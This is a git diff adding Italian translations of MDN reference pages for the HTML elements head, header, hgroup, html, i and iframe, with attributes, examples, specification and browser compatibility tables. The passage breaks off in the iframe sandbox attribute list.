+<p>La maggior parte dei browser costruisce automaticamente un elemento <code>&lt;head&gt;</code> se non è presente. <a class="external" href="http://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/" title="http://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Comunque, alcuni non lo fanno</a>.<br>
+ Questi browser non creano automaticamente un elemento <code>&lt;head&gt;</code>: Android &lt;=1.6, iPhone &lt;=3.1.3, Nokia 90, Opera &lt;=9.27 e Safari &lt;=3.2.1.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> <code>profile</code> obsoleto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Elementi che possono essere usati nell'elemento <span style="font-family: Courier New;">&lt;head&gt;</span>: {{HTMLElement("title")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("style")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("noscript")}}, {{HTMLElement("command")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/header/index.html b/files/it/web/html/element/header/index.html
new file mode 100644
index 0000000000..94e158f275
--- /dev/null
+++ b/files/it/web/html/element/header/index.html
@@ -0,0 +1,120 @@
+---
+title: <header>
+slug: Web/HTML/Element/header
+translation_of: Web/HTML/Element/header
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML </strong><code><strong>&lt;header&gt;</strong></code> rappresenta un introduzione. Può contenere alcuni elementi di intestazione ({{HTMLElement("h1")}}-{{HTMLElement("h6")}}), ma anche altri elementi come un logo, l'intestazione di una sezione, un form di ricerca, e così via.</p>
+
+<div class="note">
+<p>Note d'uso<strong>:</strong></p>
+
+<ul>
+ <li>L'elemento <code>&lt;header&gt;</code> non rappresenta una sezione del contenuto e quindi non introduce una nuova sezione nell'<a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">indice</a>.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, contenuti palpabili.</li>
+ <li><dfn>Contenuti permessi</dfn><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, esclusi <code>&lt;header&gt;</code> e {{HTMLElement("footer")}}.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">contenuti di flusso</a>. Notare che un elemento <code>&lt;header&gt;</code> non può essere discendente di un elemento {{HTMLElement("address")}}, {{HTMLElement("footer")}} o di un altro {{HTMLElement("header")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;img src="logo.png"&gt;
+  Nome dell'azienda
+&lt;/header&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-header-element', '&lt;header&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light',sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Una descrizione più dettagliata: <a class="external" href="http://html5doctor.com/the-header-element/" title="The header element | HTML5 Doctor">The header element | HTML5 Doctor</a></li>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/hgroup/index.html b/files/it/web/html/element/hgroup/index.html
new file mode 100644
index 0000000000..026b4090dd
--- /dev/null
+++ b/files/it/web/html/element/hgroup/index.html
@@ -0,0 +1,99 @@
+---
+title: <hgroup>
+slug: Web/HTML/Element/hgroup
+translation_of: Web/HTML/Element/hgroup
+---
+<div>{{seeCompatTable}}</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note d'uso</strong>: Questo elemento è stato rimosso dalla specifica HTML5 del W3C, ma è ancora presente nella versione del WHATWG. È implementato nella maggior parte dei browser, quindi è improbabile che venga definitivamente eliminato.</p>
+</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <code>&lt;hgroup&gt;</code></strong> rappresenta l'intestazione di una sezione. Definisce un titolo che diventa parte dell'<a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">indice del documento</a> come l'intestazione della sezione (implicita o esplicita) alla quale appartiene.</p>
+
+<p>Per l'algoritmo di indicizzazione, il suo contenuto è contenuto del primo elemento d'intestazione che contiene avente il valore più alto (qindi il primo <span style="line-height: 1.5;">{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} o {{HTMLElement("h6")}} tra i suoi discendenti) e il suo valore è lo stesso dell'elemento di intestazione trovato.</span></p>
+
+<p>Quindi solo l'elemento principale di questo gruppo di intestazioni diventa parte dell'indice del documento.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, contenuti di intestazione, contenuti palpabili.</li>
+ <li><dfn>Contenuti permessi</dfn> Uno o più {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, e/o {{HTMLElement("h6")}}.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">contenuti di flusso</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;hgroup&gt;
+  &lt;h1&gt;Titolo principale&lt;/h1&gt;
+  &lt;h2&gt;Titolo secondario&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Support di base</span></td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/html/index.html b/files/it/web/html/element/html/index.html
new file mode 100644
index 0000000000..7ec576f1e3
--- /dev/null
+++ b/files/it/web/html/element/html/index.html
@@ -0,0 +1,87 @@
+---
+title: <html>
+slug: Web/HTML/Element/html
+translation_of: Web/HTML/Element/html
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<strong>elemento HTML <span style="font-family: Courier New;">&lt;html&gt;</span> </strong>(o <em>elemento radice HTML</em>) rappresenta la radice di un documento HTML. Tutti gli altri elementi devono esserne discendenti.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> Nessuna.</li>
+ <li><dfn>Contenuto permesso</dfn> Un elemento {{HTMLElement("head")}}, seguito da un elemento {{HTMLElement("body")}}.</li>
+ <li><dfn>Omissione del tag</dfn> Il tag di apertura può essere omesso se la prima cosa all'interno dell'elemento <code>&lt;html&gt;</code> non è un commento.<br>
+  Il tag di chiusura può essere omesso se l'elemento <code>&lt;html&gt;</code> non è immediatamente seguito da un commento e contiene un elemento {{HTMLElement("body")}} che non sia vuoto o il cui tag di apertura sia presente.</li>
+ <li><dfn>Elementi genitore permessi</dfn>Come l'elemento radice di un documento, o in qualsiasi caso un frammento di un sottodocumento sia permesso in un documento composto.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLhtmlElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="/docs/HTML/Global_attributes" title="HTML/Global attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>Specifica l'URI di un manifesto di risorse che indica le risorse da inserire nella cache locale. Vedi <a href="/docs/HTML/Using_the_application_cache" title="/en-US/docs/HTML/Using_the_application_cache">Usare la cache delle applicazioni</a> per ulteriori dettagli.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>Specifica la versione del HTML Document Type Definition che governa il documento corrente. Questo attributo non è necessario, perchè è ridondante  con l'informazione di versione nella dichiarazione del tipo di documento.</dd>
+ <dt>{{htmlattrdef("xmlns")}} </dt>
+ <dd>Specifica il Namespace XML di un documento. il valore di default è <code>"http://www.w3.org/1999/xhtml"</code>. E' richiesto nei documenti analizzati con un parser XML, e opzionale nei documenti text/html.</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Il DOCTYPE utilizzato nell'esempio seguente indica HTML5.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aggiunto il supporto per l'attributo <code>manifest</code> (deprecato successivamente).<br>
+    L'attributo  <code>version</code> è obsoleto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Deprecato l'attributo <code>version</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità con i browser</h2>
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Elemento radice MathML: {{MathMLElement("math")}}</li>
+ <li>Elemento radice SVG: {{SVGElement("svg")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/i/index.html b/files/it/web/html/element/i/index.html
new file mode 100644
index 0000000000..3d19bf5fe5
--- /dev/null
+++ b/files/it/web/html/element/i/index.html
@@ -0,0 +1,115 @@
+---
+title: <i>
+slug: Web/HTML/Element/i
+translation_of: Web/HTML/Element/i
+---
+<p>L' <strong>elemento HTML <code>&lt;i&gt;</code> </strong>rappresenta un testo distinto dal testo normale per qualche ragione, come nel caso di termini tecnici, stranieri, ecc. E' tipicamente visualizzato in corsivo.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/i.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorie di contenuti</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenuto di flusso</a> , <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">contenuto di</a><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">frasi</a> , contenuto palpabile.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenuto consentito</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}} - Nessuna, sia il tag di apertura che quello di chiusura sono obbligatori.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents accettati</th>
+   <td>Qualsiasi elemento che accetta <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">contenuti di frasi</a> .</td>
+  </tr>
+  <tr>
+   <th scope="row">ARIA roles accettati</th>
+   <td>Qualunque</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaccia DOM</th>
+   <td>
+    <p><code><a href="/it/docs/Web/API/HTMLElement">HTMLElement</a> </code>Fino a Gecko 1.9.2 (Firefox 4) incluso. Firefox implementa l'<code><a href="/it/docs/Web/API/HTMLSpanElement">HTMLSpanElement</a>, </code>l<code>'</code>interfaccia per questo elemento.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include soltanto <a href="/en-US/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<ul>
+ <li>Utilizzare l' <code>&lt;i&gt;</code>elemento per il testo che viene separato dalla prosa normale per motivi di leggibilità. Questa sarebbe una gamma di testo con un significato semantico diverso rispetto al testo circostante.</li>
+ <li>Nelle versioni precedenti della specifica HTML, l' <code>&lt;i&gt; </code>elemento era semplicemente un elemento di presentazione utilizzato per visualizzare il testo in corsivo, proprio come l' <code>&lt;b&gt; </code>elemento utilizzato per visualizzare il testo in grassetto. Questo non è più vero, poiché questi tag ora definiscono la semantica piuttosto che l'aspetto tipografico. In genere un browser visualizza ancora il contenuto dell'elemento &lt;i&gt; in tipo corsivo, ma per definizione non è più necessario.</li>
+ <li>In genere questo elemento è visualizzato in tipo corsivo. Tuttavia, non dovrebbe essere usato semplicemente per applicare lo stile corsivo; utilizzare la <code><a href="/it/docs/Web/CSS/font-style">font-style</a> </code>proprietà CSS per questo scopo.</li>
+ <li>Assicurati che il testo in questione non sia effettivamente più appropriato per un altro elemento.
+  <ul>
+   <li>Utilizzare <code><a href="/it/docs/Web/HTML/Element/em">&lt;em&gt;</a> </code>per indicare l'enfasi sullo stress.</li>
+   <li>Utilizzare <code><a href="/it/docs/Web/HTML/Element/strong">&lt;strong&gt;</a> </code>per indicare una maggiore importanza.</li>
+   <li>Utilizzare <code><a href="/it/docs/Web/HTML/Element/mark">&lt;mark&gt;</a> </code>per indicare la pertinenza.</li>
+   <li>Utilizzare <code><a href="/it/docs/Web/HTML/Element/cite">&lt;cite&gt;</a> </code>per contrassegnare il nome di un'opera, ad esempio un libro, una riproduzione o una canzone.</li>
+   <li>Utilizzare <code><a href="/it/docs/Web/HTML/Element/dfn">&lt;dfn&gt;</a> </code>per contrassegnare l'istanza di definizione di un termine.</li>
+  </ul>
+ </li>
+ <li>È consigliabile utilizzare l' attributo <strong>class</strong> per identificare il motivo dell'utilizzo dell'elemento, in modo che se la presentazione debba essere modificata in un secondo momento, può essere eseguita in modo selettivo con i fogli di stile.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Questo esempio mostra l'uso dell'elemento <code>&lt;i&gt;</code> per contrassegnare il testo di un'altra lingua.</p>
+
+<pre class="brush: html">&lt;p&gt;La frase latina &lt;i class="latin"&gt;Veni, vidi, vici&lt;/i&gt; è spesso menzionata in musica, arte e letteratura.&lt;/p&gt;
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>La frase latina <em>Veni, vidi, vici</em> è spesso menzionata in musica, arte e letteratura.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+
+
+<p>{{Compat("html.elements.i")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche </h2>
+
+<ul>
+ <li><a href="/it/docs/Web/HTML/Element/em"><code>&lt;em&gt;</code></a></li>
+</ul>
diff --git a/files/it/web/html/element/iframe/index.html b/files/it/web/html/element/iframe/index.html
new file mode 100644
index 0000000000..6484cd5b19
--- /dev/null
+++ b/files/it/web/html/element/iframe/index.html
@@ -0,0 +1,471 @@
+---
+title: <iframe>
+slug: Web/HTML/Element/iframe
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p>Il <strong><dfn>HTML Inline Frame Element</dfn> <code>&lt;iframe&gt;</code></strong> rappresenta una pagina HTML contenuta dentro un'altra pagina. Un <strong>&lt;iframe&gt;</strong> puó essere utilizzato all'interno di un normale documento HTML. Ciascun <strong>&lt;iframe&gt; </strong>ha una sua cronologia. La pagina HTML che contiene l'iframe si chiama <strong>parent </strong>(genitore).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, embedded content, interactive content, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>Special, see prose</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts embedded content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLIFrameElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>L'elemento <strong>&lt;iframe&gt; </strong>possiede i seguenti attributi.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>L'allineamento dell'iframe rispetto al contesto circostante.</dd>
+ <dt></dt>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
+ <dd>Se questo attributo è settato a <code>true</code> l'iframe puó essere collocato a schermo intero chiamando il metodo {{domxref("Element.requestFullscreen()")}}. Se non é settato l'iframe non puó collocari a schermo intero.</dd>
+ <dt>{{htmlattrdef("frameborder")}} {{HTMLVersionInline(4)}} only</dt>
+ <dd>Il valore 1 (default) dice al browser di disegnare un bordo tra l'iframe ed ogni altro iframe. Il valore - dice al browser di non disegnare un bordo tra l'iframe ed ogni altro iframe.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Indica l'altezza dell'iframe {{HTMLVersionInline(5)}} in CSS pixels.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{HTMLVersionInline(4)}} only</dt>
+ <dd>Non é supportato in HTML5. É un URI di una descrizione del frame.</dd>
+ <dt>{{htmlattrdef("marginheight")}} {{HTMLVersionInline(4)}} only</dt>
+ <dd>Non é supportato in HTML5. É il margine superiore ed inferiore in pixel.</dd>
+ <dt>{{htmlattrdef("marginwidth")}} {{HTMLVersionInline(4)}} only</dt>
+ <dd>Non é supportato in HTML5. É il margine destro e sinistro in pixel.</dd>
+ <dt>{{htmlattrdef("mozallowfullscreen")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Usa <code><strong>allowfullscreen</strong></code> invece. Per Gecko 9.0 o superiori. Se questo attributo è settato a <code>true</code> l'iframe puó essere collocato a schermo intero chiamando il metodo {{domxref("Element.requestFullscreen()")}}. Se non é settato l'iframe non puó collocari a schermo intero.</dd>
+ <dt>{{htmlattrdef("webkitallowfullscreen")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Usa <code><strong>allowfullscreen</strong></code> invece. Per Chrome 17 o superiori. Se questo attributo è settato a <code>true</code> l'iframe puó essere collocato a schermo intero chiamando il metodo {{domxref("Element.requestFullscreen()")}}. Se non é settato l'iframe non puó collocari a schermo intero.</dd>
+ <dt>{{htmlattrdef("mozapp")}} {{non-standard_inline}}</dt>
+ <dd>Per iframe ospitati da <a href="/en-US/docs/Apps" title="OpenWebApps">open web app</a>, questo attributo specifica l'URL all' <a href="/en-US/docs/Apps/Manifest">app manifest</a>. Questo attributo assicura che l'iframe é visualizzato con i giusti permessi.</dd>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
+ <dd>Indica che l'iframe deve apparire come una pagina top-level. Questo significa che {{domxref("window.top")}}, {{domxref("window.parent")}}, {{domxref("window.frameElement")}}, etc. non rifletteranno la gerarchia dei frame.</dd>
+ <dt id="name-attribute">{{htmlattrdef("name")}}</dt>
+ <dd>Il nome dell' iframe.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+  <li><code>"no-referrer"</code> meaning that the <code>Referer:</code> header will not be sent.</li>
+  <li>"<code>no-referrer-when-downgrade</code>" meaning that no <code>Referer:</code> header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+  <li><code>"origin"</code> meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.</li>
+  <li>"origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path.</li>
+  <li><code>"unsafe-url"</code> meaning that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("remote")}} {{non-standard_inline}}</dt>
+ <dd>Load the frame's page in a separate content process.</dd>
+ <dt>{{htmlattrdef("scrolling")}} {{HTMLVersionInline(4)}} only</dt>
+ <dd>Indica se l'iframe deve fornire una scroll bar. I valori sono:</dd>
+ <dd>
+ <ul>
+  <li><code>auto</code>: solo quando necessario.</li>
+  <li><code>yes</code>: fornisci sempre una scroll bar.</li>
+  <li><code>no</code>: Non fornire mai una scroll bar.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}} {{HTMLVersionInline(5)}} only</dt>
+ <dd>If specified as an empty string, this attribute enables extra restrictions on the content that can appear in the inline frame. The value of the attribute can either be an empty string (all the restrictions are applied), or a space-separated list of tokens that lift particular restrictions. Valid tokens are:
+ <ul>
+  <li><code>allow-forms</code>: Allows the embedded browsing context to submit forms. If this keyword is not used, this operation is not allowed.</li>
+  <li><code>allow-modals</code>: Allows the embedded browsing context to open modal windows.</li>
+  <li><code>allow-orientation-lock</code>: Allows the embedded browsing context to disable the ability to lock the screen orientation.</li>
+  <li><code>allow-pointer-lock</code>: Allows the embedded browsing context to use the <a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li>
+  <li><code>allow-popups</code>: Allows popups (like from <code>window.open</code>, <code>target="_blank"</code>, <code>showModalDialog</code>). If this keyword is not used, that functionality will silently fail.</li>
